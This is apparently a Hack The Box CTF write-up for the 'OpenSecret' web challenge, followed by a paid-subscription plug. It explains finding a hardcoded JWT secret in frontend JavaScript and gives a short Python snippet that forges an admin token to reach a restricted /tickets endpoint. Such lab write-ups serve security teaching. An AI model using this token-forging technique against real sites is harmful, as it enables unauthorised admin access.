$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: Gain access to a protected section of a website. Solution: Found hardcoded JWT secret in frontend JavaScript, forged admin token to access restricted /tickets endpoint.
OpenSecret is a web challenge where you need to gain access to a protected section of the website.
While examining the frontend source code (JavaScript files), a hardcoded secret key for signing JWT tokens was discovered.
// snippet from frontend JS const JWT_SECRET = "super_secret_key_123";
The application uses JWT for user authentication. Having the secret key, we can create (forge) a token for any user, including the administrator.
role: admin or username: admin (depending on what the server expects)./tickets. There, in one of the internal notes, you'll find the flag.import jwt secret = "super_secret_key_123" # found key payload = { "user": "admin", "role": "admin" } token = jwt.encode(payload, secret, algorithm="HS256") print(token)
$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar